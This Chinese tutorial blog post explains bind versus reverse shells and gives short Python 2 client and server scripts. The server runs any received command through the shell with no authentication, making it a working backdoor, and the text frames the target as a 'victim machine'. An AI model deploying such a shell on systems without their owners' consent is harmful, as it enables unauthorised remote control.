您当前的位置:首页 > 计算机 > 编程开发 > Python

Python远程控制

时间:03-30来源:作者:点击数:

正向反向区别

正向即我们通过一系列手段在受害机开放了一个端口,这个端口等待我们连接,受害机不会主动告诉我们让我们去连接,导致我们必须要知道受害机的IP地址,实际操作会很困难。所以现在都是用反向,与正向最大区别是,受害机会通知我们,将shell返回。

示例

Python中通过连接并执行命令主要用到了socket和subprocess两个模块,以下是一个简单的示例。

Client.py

# -*- coding: utf-8 -*-
import socket
while 1:
    str_msg = raw_input("Please input command:")

    if str_msg == "exit":
        break
    else:
        s2 = socket.socket()
        s2.connect(("192.168.150.144", 6666))
        data = s2.recv(1024)
        s2.send(str_msg)
        print str(s2.recv(1024))
        s2.close()

Server.py

import subprocess
import socket

def run_command(command):
    command = command.rstrip()
    print command
    try:
        child = subprocess.check_output(command, shell=True)
        return child
    except:
        child = 'Can not execute the command.\r\n'
        return child

s1 = socket.socket()
s1.bind(("192.168.150.144", 6666))
s1.listen(5)

while 1:
    conn,address = s1.accept()
    print "a new connect from " + str(address)
    conn.send("Hello world")
    data = conn.recv(1024)
    print "The command is " + data
    output = run_command(data)
    conn.send(output)

conn.close()

示例演示结果

总结

上面简单示例只接收客户端命令进行了执行,其他功能可根据需求自行添加, 也可以使用tk等集成到gui中进行学习。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门